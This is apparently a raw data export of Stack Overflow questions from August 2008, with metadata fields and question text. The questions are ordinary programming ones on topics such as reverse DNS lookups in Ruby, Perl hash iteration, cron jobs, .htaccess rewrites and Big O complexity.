do `nslookup 10.26.6.12` then I get the correct reverse DNS so that shows that my machine is seeing the dns server. I have tried Socket.gethostbyname, gethostbyaddr, but it doesn't work : ( Any guidance will be much appreciated. Thanks!
ruby
sockets
dns
nslookup
null
null
open
Reverse DNS in Ruby? === I'm in an environment with a lot of computers that haven't been properly inventoried. Basically, no one knows which IP goes with which mac address and which hostname. So I wrote the following: # This script goes down the entire IP range and attempts to # retrieve the Hostname and mac address and outputs them # into a file. Yay! require "socket" TwoOctets = "10.26" def computer_exists?(computerip) system("ping -c 1 -W 1 #{computerip}") end def append_to_file(line) file = File.open("output.txt", "a") file.puts(line) file.close end def getInfo(current_ip) begin if computer_exists?(current_ip) arp_output = `arp -v #{current_ip}` mac_addr = arp_output.to_s.match(/..:..:..:..:..:../) host_name = Socket.gethostbyname(current_ip) append_to_file("#{host_name[0]} - #{current_ip} - #{mac_addr}\n") end rescue SocketError => mySocketError append_to_file("unknown - #{current_ip} - #{mac_addr}") end end (6..8).each do |i| case i when 6 for j in (1..190) current_ip = "#{TwoOctets}.#{i}.#{j}" getInfo(current_ip) end when 7 for j in (1..255) current_ip = "#{TwoOctets}.#{i}.#{j}" getInfo(current_ip) end when 8 for j in (1..52) current_ip = "#{TwoOctets}.#{i}.#{j}" getInfo(current_ip) end end end Everything works except it does not find a Reverse DNS. Sample output that I'm getting is this: 10.26.6.12 - 10.26.6.12 - 00:11:11:9B:13:9F 10.26.6.17 - 10.26.6.17 - 08:00:69:9A:97:C3 10.26.6.18 - 10.26.6.18 - 08:00:69:93:2C:E2 If I do `nslookup 10.26.6.12` then I get the correct reverse DNS so that shows that my machine is seeing the dns server. I have tried Socket.gethostbyname, gethostbyaddr, but it doesn't work : ( Any guidance will be much appreciated. Thanks!
0
3,004
08/06/2008 01:42:51
364
08/05/2008 05:33:41
11
3
Using ASP.NET Dynamic Data / LINQ to SQL, how do you have two table fields have a relationship to the same foreign key?
I am using ASP.NET Dynamic Data for a project and I have a table that has two seperate fields that link to the same foreign key in a different table. This relationship works fine in SQL Server. However, in the LINQ to SQL model in the ASP.NET Dynamic Data model, only the first field's relationship is reflected. If I attempt to add the second relationship manually, it complains that it "Cannot create an association "ForeignTable_BaseTable". The same property is listed more than once: "Id"." [This MSDN article][1] gives such helpful advice as * Examine the message and note the property specified in the message. * Click OK to dismiss the message box. * Inspect the Association Properties and remove the duplicate entries. * Click OK. [1]: http://msdn.microsoft.com/en-us/library/bb629292.aspx
asp.net
dynamicdata
null
null
null
null
open
Using ASP.NET Dynamic Data / LINQ to SQL, how do you have two table fields have a relationship to the same foreign key? === I am using ASP.NET Dynamic Data for a project and I have a table that has two seperate fields that link to the same foreign key in a different table. This relationship works fine in SQL Server. However, in the LINQ to SQL model in the ASP.NET Dynamic Data model, only the first field's relationship is reflected. If I attempt to add the second relationship manually, it complains that it "Cannot create an association "ForeignTable_BaseTable". The same property is listed more than once: "Id"." [This MSDN article][1] gives such helpful advice as * Examine the message and note the property specified in the message. * Click OK to dismiss the message box. * Inspect the Association Properties and remove the duplicate entries. * Click OK. [1]: http://msdn.microsoft.com/en-us/library/bb629292.aspx
0
3,017
08/06/2008 02:15:14
391
08/05/2008 12:27:15
1
0
How to generate getters and setters in Visual Studio?
The question is in the title.
visual-studio
getter
setter
null
null
null
open
How to generate getters and setters in Visual Studio? === The question is in the title.
0
3,021
08/06/2008 02:29:51
358
08/05/2008 01:41:40
101
4
What is recursion and when should I use it?
One of the topics that seems to come up regularly on mailing lists and online discussions is the merits (or lack thereof) of doing a Computer Science Degree. An argument that seems to come up time and again for the negative party is that they have been coding for some number of years and they have never used recursion. So the question is: 1. What is recursion? 2. When would I use recursion? 3. Why don't people use recursion?
recursion
technique
compsci
null
null
null
open
What is recursion and when should I use it? === One of the topics that seems to come up regularly on mailing lists and online discussions is the merits (or lack thereof) of doing a Computer Science Degree. An argument that seems to come up time and again for the negative party is that they have been coding for some number of years and they have never used recursion. So the question is: 1. What is recursion? 2. When would I use recursion? 3. Why don't people use recursion?
0
3,027
08/06/2008 02:36:23
439
08/05/2008 18:36:05
1
0
Is there an Unobtrusive Captcha for web forms?
What is the best unobtrusive CAPTCHA for web forms? One that does not involve a UI, rather a non-UI Turing test.
security
usability
null
null
null
null
open
Is there an Unobtrusive Captcha for web forms? === What is the best unobtrusive CAPTCHA for web forms? One that does not involve a UI, rather a non-UI Turing test.
0
3,033
08/06/2008 02:53:13
219
08/03/2008 16:25:07
186
8
Safest way to iterate through the keys of a Perl hash?
If I have a perl hash with a bunch of (key, value) pairs, what is the preferred method of iterating through all the keys? I have heard that using `each` may in some way have unintended side effects. So, is that true, and is one of the two following methods best, or is there a better way? # Method 1 while (my ($key, $value) = each(%hash)) { # Something } # Method 2 foreach my $key (keys(%hash)) { # Something }
perl
hash
iteration
each
null
null
open
Safest way to iterate through the keys of a Perl hash? === If I have a perl hash with a bunch of (key, value) pairs, what is the preferred method of iterating through all the keys? I have heard that using `each` may in some way have unintended side effects. So, is that true, and is one of the two following methods best, or is there a better way? # Method 1 while (my ($key, $value) = each(%hash)) { # Something } # Method 2 foreach my $key (keys(%hash)) { # Something }
0
3,036
08/06/2008 02:56:26
432
08/05/2008 17:18:46
92
16
Linux - files and scripts that execute on boot
If I want to make something run on startup on Linux, where is the preferred place to put things? I would like a description of each script or file that is executed at boot, and that script or file's purpose as to how you edit it, or what sorts of things are normal to put in it to make run on startup.
linux
architecture
boot
null
null
null
open
Linux - files and scripts that execute on boot === If I want to make something run on startup on Linux, where is the preferred place to put things? I would like a description of each script or file that is executed at boot, and that script or file's purpose as to how you edit it, or what sorts of things are normal to put in it to make run on startup.
0
3,045
08/06/2008 03:14:59
271
08/04/2008 10:25:01
76
6
Linking two Office documents
**Problem:** I have two spreadsheets that each serve different purposes but contain one particular piece of data that needs to be the same in both spreadsheets. This piece of data (one of the columns) gets updated in spreadsheet A but needs to also be updated in spreadsheet B. **Goal:** A solution that would somehow link these two spreadsheets together (keep in mind that they exist on two separate LAN shares on the network) so that when A is updated, B is automatically updated for the corresponding record. *Note that I understand fully that a database would probably be a better plan for tasks such as these but unfortunately I have no say in that matter. **Note also that this needs to work for Office 2003 and Office 2007
microsoft
office2007
office2003
null
null
null
open
Linking two Office documents === **Problem:** I have two spreadsheets that each serve different purposes but contain one particular piece of data that needs to be the same in both spreadsheets. This piece of data (one of the columns) gets updated in spreadsheet A but needs to also be updated in spreadsheet B. **Goal:** A solution that would somehow link these two spreadsheets together (keep in mind that they exist on two separate LAN shares on the network) so that when A is updated, B is automatically updated for the corresponding record. *Note that I understand fully that a database would probably be a better plan for tasks such as these but unfortunately I have no say in that matter. **Note also that this needs to work for Office 2003 and Office 2007
0
3,049
08/06/2008 03:19:19
462
08/06/2008 00:05:58
1
0
How do I configure and communicate with a serial port?
I need to send and receive data over serial connections (RS-232 and RS-422). How do I set up and communicate with such a connection? How do I figure out what the configuration settings (e.g. baud rate) should be and how do I set them? In particular I am looking to do this in Java, C/C++, or one of the major Unix shells but I also have some interest in serial programming using Windows/Hyperterminal.
java
c++
windows
unix
null
null
open
How do I configure and communicate with a serial port? === I need to send and receive data over serial connections (RS-232 and RS-422). How do I set up and communicate with such a connection? How do I figure out what the configuration settings (e.g. baud rate) should be and how do I set them? In particular I am looking to do this in Java, C/C++, or one of the major Unix shells but I also have some interest in serial programming using Windows/Hyperterminal.
0
3,057
08/06/2008 03:34:01
58
08/01/2008 13:56:33
1,199
51
Speed Comparisons - Procedural vs. OO in interpreted languages
In interpreted programming languages, such as PHP and JavaScript, what are the repercussions of going with an Object Oriented approach over a Procedural approach? Specifically what I am looking for is a checklist of things to consider when creating a web application and choosing between Procedural and Object Oriented approaches, to optimize not only for speed, but maintainability as well. Cited research and test cases would be helpful as well if you know of any articles exploring this further. Bottom line: how big (if any) is the performance hit really, when going with OO vs. Procedural in an interpreted language?
oop
procedural
speed
maintainability
interpreted
null
open
Speed Comparisons - Procedural vs. OO in interpreted languages === In interpreted programming languages, such as PHP and JavaScript, what are the repercussions of going with an Object Oriented approach over a Procedural approach? Specifically what I am looking for is a checklist of things to consider when creating a web application and choosing between Procedural and Object Oriented approaches, to optimize not only for speed, but maintainability as well. Cited research and test cases would be helpful as well if you know of any articles exploring this further. Bottom line: how big (if any) is the performance hit really, when going with OO vs. Procedural in an interpreted language?
0
3,058
08/06/2008 03:35:27
358
08/05/2008 01:41:40
116
5
What is Inversion of Control?
Inversion of Control (or IoC) can be quite confusing when it is first encountered. 1. What is it? 2. What problems does it solve? 3. When is it appropriate and when not?
inversion-of-control
patterns
null
null
null
null
open
What is Inversion of Control? === Inversion of Control (or IoC) can be quite confusing when it is first encountered. 1. What is it? 2. What problems does it solve? 3. When is it appropriate and when not?
0
3,061
08/06/2008 03:36:08
121
08/02/2008 07:34:46
27
3
Calling a Function From a String With the Function's Name in Python
What is the best way to go about calling a function given a string with the function's name in a python program. For example, let's say that I have a module foo, and I have a string whose contents are "bar". What is the best way to go about calling foo.bar()? I need to get the return value of the function, which is why I don't just use eval. I figured out how to do it by using eval to define a temp function that returns the result of that function call, but I'm hoping that there is a more elegant way to do this.
python
null
null
null
null
null
open
Calling a Function From a String With the Function's Name in Python === What is the best way to go about calling a function given a string with the function's name in a python program. For example, let's say that I have a module foo, and I have a string whose contents are "bar". What is the best way to go about calling foo.bar()? I need to get the return value of the function, which is why I don't just use eval. I figured out how to do it by using eval to define a temp function that returns the result of that function call, but I'm hoping that there is a more elegant way to do this.
0
3,067
08/06/2008 03:44:41
291
08/04/2008 13:03:39
1
0
Plugin for Visual Studio to Mimic Eclipse's "Open Type" or "Open Resource" Keyboard Access
If you've ever used Eclipse, you've probably noticed the great keyboard shortcuts that let you hit a shortcut key combination, then just type the first few characters of a function, class, filename, etc. It's even smart enough to put open files first in the list. ![alt text][1] [1]: http://archive.eclipse.org/eclipse/downloads/drops/R-3.3-200706251500/whatsnew/images/search-all-type-names.png I'm looking for a similar functionality for Visual Studio 2008. I know there's a findfiles plugin on codeproject, but that one is buggy and a little weird, and doesn't give me access to functions or classes.
visual-studio
plug-ins
null
null
null
null
open
Plugin for Visual Studio to Mimic Eclipse's "Open Type" or "Open Resource" Keyboard Access === If you've ever used Eclipse, you've probably noticed the great keyboard shortcuts that let you hit a shortcut key combination, then just type the first few characters of a function, class, filename, etc. It's even smart enough to put open files first in the list. ![alt text][1] [1]: http://archive.eclipse.org/eclipse/downloads/drops/R-3.3-200706251500/whatsnew/images/search-all-type-names.png I'm looking for a similar functionality for Visual Studio 2008. I know there's a findfiles plugin on codeproject, but that one is buggy and a little weird, and doesn't give me access to functions or classes.
0
3,075
08/06/2008 04:20:41
404
08/05/2008 13:34:59
56
6
Can ASP.NET AJAX partial rendering work inside a SharePoint 2007 application page?
I have a simple page with my ScriptManager and my UpdatePanel, and my ContentTemplate has one ListBox and one Label. I am just trying to catch its OnSelectionChanged so I can update the text in the Label. No matter what settings I try to tweak, I always get a full-page postback. Is this really not going to work, or am I just screwing this up? thanks, Chris
ajax
sharepoint
null
null
null
null
open
Can ASP.NET AJAX partial rendering work inside a SharePoint 2007 application page? === I have a simple page with my ScriptManager and my UpdatePanel, and my ContentTemplate has one ListBox and one Label. I am just trying to catch its OnSelectionChanged so I can update the text in the Label. No matter what settings I try to tweak, I always get a full-page postback. Is this really not going to work, or am I just screwing this up? thanks, Chris
0
3,088
08/06/2008 05:01:16
92
08/01/2008 17:55:41
771
23
Best ways to teach a beginner to program?
I am currently engaged in teaching my brother to program. He is a total beginner, but very smart. I've noticed that some of our sessions have gotten bogged down in minor details, and I don't feel I've been very organized. What can I do to teach him effectively? Is there a logical order that I can use to run through concept by concept? Are there complexities I should avoid till later? The language we are working with is Python, but advice in any language is welcome.
teaching
language-agnostic
python
null
null
09/14/2011 17:54:00
not constructive
Best ways to teach a beginner to program? === I am currently engaged in teaching my brother to program. He is a total beginner, but very smart. I've noticed that some of our sessions have gotten bogged down in minor details, and I don't feel I've been very organized. What can I do to teach him effectively? Is there a logical order that I can use to run through concept by concept? Are there complexities I should avoid till later? The language we are working with is Python, but advice in any language is welcome.
4
3,106
08/06/2008 05:36:49
327
08/04/2008 17:08:49
41
3
How can I create debian install packages in Windows for a Visual Studio project?
I'm developing some cross platform software targeting Mono under Visual Studio and would like to be able to build the installers for Windows and Linux with a single button click. I figure I could do it by calling cygwin from a post-build event, but I was hoping for at best a Visual Studio plugin or at worst a more Windows-native way of doing it. It seems like the package format is fairly simple and this must be a common need. edit: Re-asked question under other account due to duplicate login issue.
mono
crossplatform
windows
visual-studio
null
null
open
How can I create debian install packages in Windows for a Visual Studio project? === I'm developing some cross platform software targeting Mono under Visual Studio and would like to be able to build the installers for Windows and Linux with a single button click. I figure I could do it by calling cygwin from a post-build event, but I was hoping for at best a Visual Studio plugin or at worst a more Windows-native way of doing it. It seems like the package format is fairly simple and this must be a common need. edit: Re-asked question under other account due to duplicate login issue.
0
3,112
08/06/2008 05:56:00
219
08/03/2008 16:25:07
191
8
Can you force either a scalar or array ref to be an array in Perl?
I have a perl variable `$results` that gets returned from a service. The value is supposed to be an array, and `$results` should be an array reference. However, when the array has only one item in it, `$results` will be set to that value, and not a referenced array that contains that one item. I want to do a `foreach` loop on the expected array. Without checking `ref($results) eq 'ARRAY'`, is there any way to have something equivalent to the following: foreach my $result (@$results) { # Process $result } That particular code sample will work for the reference, but will complain for the simple scalar.
perl
scalar
array
null
null
null
open
Can you force either a scalar or array ref to be an array in Perl? === I have a perl variable `$results` that gets returned from a service. The value is supposed to be an array, and `$results` should be an array reference. However, when the array has only one item in it, `$results` will be set to that value, and not a referenced array that contains that one item. I want to do a `foreach` loop on the expected array. Without checking `ref($results) eq 'ARRAY'`, is there any way to have something equivalent to the following: foreach my $result (@$results) { # Process $result } That particular code sample will work for the reference, but will complain for the simple scalar.
0
3,121
08/06/2008 06:10:10
404
08/05/2008 13:34:59
63
7
Why are SYSTEM and taskmgr.exe taking up 100% of my CPU?
I'm running 32-bit Windows 2003 R2 in VMware 6.0.3 on my Windows XP 32-bit host OS. I have run all the Windows updates, but haven't done any other tweaking. About once every hour (but not quite on a schedule) my CPU usage goes to 100%, slowing everything down for about 1 minute. When I can get taskmgr up, I see that usually a process called "SYSTEM" is using most of the CPU. Occasionally taskmgr itself is using up almost all of it. What is causing this, and how can I avoid it? The host machine is an older Pentium D with 3 gigs RAM. The VM is running from a relatively fast SATA drive. Memory usage in either the host or the guest doesn't seem to be a factor in whether or not these slowdowns will occur. thanks! Chris
performance
vmware
hanging
null
null
05/22/2012 19:21:34
off topic
Why are SYSTEM and taskmgr.exe taking up 100% of my CPU? === I'm running 32-bit Windows 2003 R2 in VMware 6.0.3 on my Windows XP 32-bit host OS. I have run all the Windows updates, but haven't done any other tweaking. About once every hour (but not quite on a schedule) my CPU usage goes to 100%, slowing everything down for about 1 minute. When I can get taskmgr up, I see that usually a process called "SYSTEM" is using most of the CPU. Occasionally taskmgr itself is using up almost all of it. What is causing this, and how can I avoid it? The host machine is an older Pentium D with 3 gigs RAM. The VM is running from a relatively fast SATA drive. Memory usage in either the host or the guest doesn't seem to be a factor in whether or not these slowdowns will occur. thanks! Chris
2
3,136
08/06/2008 07:16:16
87
08/01/2008 16:59:16
26
3
help with cronjobs?
How can i set up my crontab to execute X script at 11:59PM every day without emailing me or creating any logs? Right now my crontab looks something like this > @daily /path/to/script.sh
time
settings
cron
null
null
null
open
help with cronjobs? === How can i set up my crontab to execute X script at 11:59PM every day without emailing me or creating any logs? Right now my crontab looks something like this > @daily /path/to/script.sh
0
3,143
08/06/2008 07:41:11
253
08/04/2008 05:38:52
1
0
How do I show test results in TeamCity from a Command Line Runner
I'm compiling a NAnt project on linux with TeamCity Continuous Integration server. I have been able to generate a test report by running NAnt on mono thru a Command Line Runner but don't have the options of using the report like a NAnt Runner. I'm also using MBUnit for the testing framework. How can I merge in the test report and display "Tests failed: 1 (1 new), passed: 3049" for the build?
nant
mono
mbunit
teamcity
null
null
open
How do I show test results in TeamCity from a Command Line Runner === I'm compiling a NAnt project on linux with TeamCity Continuous Integration server. I have been able to generate a test report by running NAnt on mono thru a Command Line Runner but don't have the options of using the report like a NAnt Runner. I'm also using MBUnit for the testing framework. How can I merge in the test report and display "Tests failed: 1 (1 new), passed: 3049" for the build?
0
3,144
08/06/2008 07:42:33
475
08/06/2008 07:16:20
1
2
'Best' Diff Algorithm
I need to implement a Diff algorithm in VB.NET to find the changes between two different versions of a piece of text. I've had a scout around the web and have found a couple of different algorithms. Does anybody here know of a 'best' algorithm that I could implement? Thanks, - Chris
vb.net
diff
null
null
null
09/12/2011 11:54:16
not constructive
'Best' Diff Algorithm === I need to implement a Diff algorithm in VB.NET to find the changes between two different versions of a piece of text. I've had a scout around the web and have found a couple of different algorithms. Does anybody here know of a 'best' algorithm that I could implement? Thanks, - Chris
4
3,147
08/06/2008 07:52:31
380
08/05/2008 10:39:18
109
16
What are the best practices for using Extension Methods in .Net?
I have seen these being used every which way, and have been accused of using them the wrong way (though in that case, I was using them that way to demonstrate a [point](http://blog.gadodia.net/extension-methods-in-vbnet-and-c/)). So, what do you think are the best practices for employing Extension Methods? Should development teams create a library of extension methods and deploy them across various projects? Should there be a collection of common extension methods in the form of an open source project?
c#
vb.net
.net
null
null
null
open
What are the best practices for using Extension Methods in .Net? === I have seen these being used every which way, and have been accused of using them the wrong way (though in that case, I was using them that way to demonstrate a [point](http://blog.gadodia.net/extension-methods-in-vbnet-and-c/)). So, what do you think are the best practices for employing Extension Methods? Should development teams create a library of extension methods and deploy them across various projects? Should there be a collection of common extension methods in the form of an open source project?
0
3,150
08/06/2008 07:57:50
370
08/05/2008 08:37:18
1
3
How to set up unit testing for visual studio c++
I'm having trouble figuring out how to get the testing framework set up and usable in visual studio 2008 for c++. Any links or tutorials would be appreciated.
c++
visual-studio
testing
unit-testing
null
null
open
How to set up unit testing for visual studio c++ === I'm having trouble figuring out how to get the testing framework set up and usable in visual studio 2008 for c++. Any links or tutorials would be appreciated.
0
3,157
08/06/2008 08:15:28
476
08/06/2008 08:15:28
1
0
.htaccess directives to *not* redirect certain URLs
In an application that heavily relies on .htaccess RewriteRules for its PrettyURLs (CakePHP in my case), how do I correctly set up directives to exclude certain directories from this rewriting? I.e.: /appRoot/.htaccess app/ static/ By default every request to /appRoot/* is being rewritten to be picked up by app/webroot/index.php, where it's being analysed and corresponding controller actions are being invoked. This is done by these directives in .htaccess: RewriteBase /appRoot RewriteRule ^$ app/webroot/ [L] RewriteRule (.*) app/webroot/$1 [L] I now want to exclude a few directories like static/ from this rewriting. I tried with this *before* the Cake RewriteRules: RewriteCond $1 ^(static|otherDir).*$ [NC] RewriteRule (.*) - [L] It works in so far that requests are no longer rewritten, but now **all** requests are being skipped, even legitimate Cake requests which should not match ^(static|otherDir).*$. I tried several variations of these rules but can't get it to work the way I want.
.htaccess
apache
mod-rewrite
null
null
null
open
.htaccess directives to *not* redirect certain URLs === In an application that heavily relies on .htaccess RewriteRules for its PrettyURLs (CakePHP in my case), how do I correctly set up directives to exclude certain directories from this rewriting? I.e.: /appRoot/.htaccess app/ static/ By default every request to /appRoot/* is being rewritten to be picked up by app/webroot/index.php, where it's being analysed and corresponding controller actions are being invoked. This is done by these directives in .htaccess: RewriteBase /appRoot RewriteRule ^$ app/webroot/ [L] RewriteRule (.*) app/webroot/$1 [L] I now want to exclude a few directories like static/ from this rewriting. I tried with this *before* the Cake RewriteRules: RewriteCond $1 ^(static|otherDir).*$ [NC] RewriteRule (.*) - [L] It works in so far that requests are no longer rewritten, but now **all** requests are being skipped, even legitimate Cake requests which should not match ^(static|otherDir).*$. I tried several variations of these rules but can't get it to work the way I want.
0
3,163
08/06/2008 08:33:53
22
08/01/2008 12:11:11
81
4
Actionscript 3 - Fastest way to parse yyyy-mm-dd hh:mm:ss to a Date object?
I have been trying to find a really fast way to parse yyyy-mm-dd [hh:mm:ss] into a Date object. Here are the 3 ways I have tried doing it and the times it takes each method to parse 50,000 date time strings. Does anyone know any faster ways of doing this or tips to speed up the methods? castMethod1 takes 3673 ms <br> castMethod2 takes 3812 ms <br> castMethod3 takes 3931 ms private function castMethod1(dateString:String):Date { if ( dateString == null ) { return null; } var year:int = int(dateString.substr(0,4)); var month:int = int(dateString.substr(5,2))-1; var day:int = int(dateString.substr(8,2)); if ( year == 0 && month == 0 && day == 0 ) { return null; } if ( dateString.length == 10 ) { return new Date(year, month, day); } var hour:int = int(dateString.substr(11,2)); var minute:int = int(dateString.substr(14,2)); var second:int = int(dateString.substr(17,2)); return new Date(year, month, day, hour, minute, second); } - private function castMethod2(dateString:String):Date { if ( dateString == null ) { return null; } if ( dateString.indexOf("0000-00-00") != -1 ) { return null; } dateString = dateString.split("-").join("/"); return new Date(Date.parse( dateString )); } - private function castMethod3(dateString:String):Date { if ( dateString == null ) { return null; } var mainParts:Array = dateString.split(" "); var dateParts:Array = mainParts[0].split("-"); if ( Number(dateParts[0])+Number(dateParts[1])+Number(dateParts[2]) == 0 ) { return null; } return new Date( Date.parse( dateParts.join("/")+(mainParts[1]?" "+mainParts[1]:" ") ) ); }
flex
actionscript-3
null
null
null
null
open
Actionscript 3 - Fastest way to parse yyyy-mm-dd hh:mm:ss to a Date object? === I have been trying to find a really fast way to parse yyyy-mm-dd [hh:mm:ss] into a Date object. Here are the 3 ways I have tried doing it and the times it takes each method to parse 50,000 date time strings. Does anyone know any faster ways of doing this or tips to speed up the methods? castMethod1 takes 3673 ms <br> castMethod2 takes 3812 ms <br> castMethod3 takes 3931 ms private function castMethod1(dateString:String):Date { if ( dateString == null ) { return null; } var year:int = int(dateString.substr(0,4)); var month:int = int(dateString.substr(5,2))-1; var day:int = int(dateString.substr(8,2)); if ( year == 0 && month == 0 && day == 0 ) { return null; } if ( dateString.length == 10 ) { return new Date(year, month, day); } var hour:int = int(dateString.substr(11,2)); var minute:int = int(dateString.substr(14,2)); var second:int = int(dateString.substr(17,2)); return new Date(year, month, day, hour, minute, second); } - private function castMethod2(dateString:String):Date { if ( dateString == null ) { return null; } if ( dateString.indexOf("0000-00-00") != -1 ) { return null; } dateString = dateString.split("-").join("/"); return new Date(Date.parse( dateString )); } - private function castMethod3(dateString:String):Date { if ( dateString == null ) { return null; } var mainParts:Array = dateString.split(" "); var dateParts:Array = mainParts[0].split("-"); if ( Number(dateParts[0])+Number(dateParts[1])+Number(dateParts[2]) == 0 ) { return null; } return new Date( Date.parse( dateParts.join("/")+(mainParts[1]?" "+mainParts[1]:" ") ) ); }
0
3,164
08/06/2008 08:34:13
192
08/03/2008 10:15:38
141
14
ASP.NET absolute path back to web-relative path
If I have managed to locate and verify the existence of a file using Server.MapPath and I now want to send the user directly to that file, what is the **fastest** way to convert that absolute path back into a relative web path?
asp.net
path
mappath
null
null
null
open
ASP.NET absolute path back to web-relative path === If I have managed to locate and verify the existence of a file using Server.MapPath and I now want to send the user directly to that file, what is the **fastest** way to convert that absolute path back into a relative web path?
0
3,175
08/06/2008 08:40:41
481
08/06/2008 08:40:41
1
0
Repository pattern tutorial in C#
Can anyone recommend good tutorial on repository pattern usage, in C#?
patterns
repository
null
null
null
02/04/2012 15:02:25
not constructive
Repository pattern tutorial in C# === Can anyone recommend good tutorial on repository pattern usage, in C#?
4
3,176
08/06/2008 08:42:06
481
08/06/2008 08:40:41
1
0
Unit testing with VSTest basics
Need good tutorial on this topic.
unittesting
null
null
null
null
null
open
Unit testing with VSTest basics === Need good tutorial on this topic.
0
3,180
08/06/2008 08:47:45
479
08/06/2008 08:37:10
1
1
Anyone soloing using fogbugz?
Is there anyone working solo and using fogbugz out there? I'm interested in personal experience/overhead versus paper. I am involved in several projects and get pretty hammered with lots of details to keep track of... Any experience welcome. (Yes I know Mr. Joel is on the stackoverflow team... I still want good answers :)
fogbugz
null
null
null
null
null
open
Anyone soloing using fogbugz? === Is there anyone working solo and using fogbugz out there? I'm interested in personal experience/overhead versus paper. I am involved in several projects and get pretty hammered with lots of details to keep track of... Any experience welcome. (Yes I know Mr. Joel is on the stackoverflow team... I still want good answers :)
0
3,196
08/06/2008 09:00:58
230
08/03/2008 19:32:46
100
6
Sql query, count and group by
if i have data like this: Key Name 1 Dan 2 Tom 3 Jon 4 Tom 5 Sam 6 Dan What is the sql query to bring back the records where the Name is repeated 2 or more times. So the result i would want is Tom Dan
sqlquery
null
null
null
null
null
open
Sql query, count and group by === if i have data like this: Key Name 1 Dan 2 Tom 3 Jon 4 Tom 5 Sam 6 Dan What is the sql query to bring back the records where the Name is repeated 2 or more times. So the result i would want is Tom Dan
0
3,213
08/06/2008 09:21:09
383
08/05/2008 10:46:37
381
49
C# Convert Integers into Written Numbers
Is there an efficient method of converting an integer into the written numbers for example: String Written = IntegerToWritten(21); would return "Twenty One" Is there any way of doing this that doesn't involve a massive lookup table?
c#
null
null
null
null
null
open
C# Convert Integers into Written Numbers === Is there an efficient method of converting an integer into the written numbers for example: String Written = IntegerToWritten(21); would return "Twenty One" Is there any way of doing this that doesn't involve a massive lookup table?
0
3,224
08/06/2008 09:38:15
486
08/06/2008 09:19:11
1
2
How can I make the browser see CSS and Javascript changes?
CSS and Javascript files don't change very often, so I want them to be cached by the web browser. But I also want the web browser to see changes made to these files without requiring the user to clear their browser cache. Also want a solution that works well with version control system such as Subversion.
javascript
css
http
caching
null
null
open
How can I make the browser see CSS and Javascript changes? === CSS and Javascript files don't change very often, so I want them to be cached by the web browser. But I also want the web browser to see changes made to these files without requiring the user to clear their browser cache. Also want a solution that works well with version control system such as Subversion.
0
3,230
08/06/2008 09:49:27
370
08/05/2008 08:37:18
11
3
How do you pack a visual studio c++ project for release?
I'm wondering how to make a release build that includes all necessary dll files into the .exe so the program can be run on a non-development machine without it having to install the microsoft redistributable on the target machine. Without doing this you get the error message that the application configuration is not correct and to reinstall.
c++
visual-studio
null
null
null
null
open
How do you pack a visual studio c++ project for release? === I'm wondering how to make a release build that includes all necessary dll files into the .exe so the program can be run on a non-development machine without it having to install the microsoft redistributable on the target machine. Without doing this you get the error message that the application configuration is not correct and to reinstall.
0
3,231
08/06/2008 09:51:06
381
08/05/2008 10:39:26
33
2
C/C++ library for reading MIDI signals from a USB MIDI device
I want to write C/C++ programs that take input from a MIDI device. The MIDI device connects to my PC using a USB connector. I'm looking for a (C/C++ implemented) library that I can use to read the MIDI signals from the MIDI device through the USB port. I'm happy manipulating the MIDI data once I get it, I just don't want to have to implement the code for its capture. I'm planning on writing my code using the Bloodshed Dev-C++ IDE on Windows XP.
c++
c
midi
null
null
null
open
C/C++ library for reading MIDI signals from a USB MIDI device === I want to write C/C++ programs that take input from a MIDI device. The MIDI device connects to my PC using a USB connector. I'm looking for a (C/C++ implemented) library that I can use to read the MIDI signals from the MIDI device through the USB port. I'm happy manipulating the MIDI data once I get it, I just don't want to have to implement the code for its capture. I'm planning on writing my code using the Bloodshed Dev-C++ IDE on Windows XP.
0
3,234
08/06/2008 09:52:36
231
08/03/2008 19:35:19
26
4
Displaying ad content from Respose.WriteFile()/ Response.ContentType
How would one display any add content from a "dynamic" aspx page? Currently I am working on using the System.Web.HttpResponse "Page.Response" to write a file that is stored on a web server to a web request. This would allow people to hit a url to the type http://www.foo.com?Image=test.jpg and have the image display in their browser. So as you may know this revolves around the use of Response.ContentType. By using Response.ContentType = "application/octet-stream"; I am able to display images of type gif/jpeg/png (all i have tested so far), bit tryung to display .swf or .ico files gives me a nice little error. using Response.ContentType = "application/x-shockwave-flash"; I can get flash files to play, but then the images are messed. So how do i **easily** choose the contenttype?
c#
webdevelopment
system.web.httpresponse
null
null
null
open
Displaying ad content from Respose.WriteFile()/ Response.ContentType === How would one display any add content from a "dynamic" aspx page? Currently I am working on using the System.Web.HttpResponse "Page.Response" to write a file that is stored on a web server to a web request. This would allow people to hit a url to the type http://www.foo.com?Image=test.jpg and have the image display in their browser. So as you may know this revolves around the use of Response.ContentType. By using Response.ContentType = "application/octet-stream"; I am able to display images of type gif/jpeg/png (all i have tested so far), bit tryung to display .swf or .ico files gives me a nice little error. using Response.ContentType = "application/x-shockwave-flash"; I can get flash files to play, but then the images are messed. So how do i **easily** choose the contenttype?
0
3,248
08/06/2008 10:10:56
195
08/03/2008 11:02:15
28
4
"documentation" conventions and auto checking them
<p>Were defining a C# module to outsource (I dont like it either ...) </p> <p>maintaining and evolving it will be done inhouse.</p> <p>Is there any good way to define and autocheck the in-code documentation quality ? </p> <p>thanks.</p>
c#
documentation
null
null
null
null
open
"documentation" conventions and auto checking them === <p>Were defining a C# module to outsource (I dont like it either ...) </p> <p>maintaining and evolving it will be done inhouse.</p> <p>Is there any good way to define and autocheck the in-code documentation quality ? </p> <p>thanks.</p>
0
3,255
08/06/2008 10:18:16
46
08/01/2008 13:13:21
223
17
Big O, how do you calculate/approximate it?
Most people with a degree in CS will certainly know what [Big O stands for][1]. It helps us to measure how (in)efficient an algorithm really is and if you know in [what category the problem you are trying to solve lays in][2] you can figure out if it is still possible to squeeze out that little extra performance.* But I'm curious, how do *you* calculate or approximate the complexity of your algorithms? *: but as they say, don't overdo it, [premature optimization is the root of all evil][3], and optimization without a justified cause should deserve that name as well. [1]: http://www.nist.gov/dads/HTML/bigOnotation.html [2]: http://en.wikipedia.org/wiki/List_of_complexity_classes [3]: http://en.wikipedia.org/wiki/Optimization_(computer_science)#When_to_optimize
algorithm
optimization
complexity
big-o
null
null
open
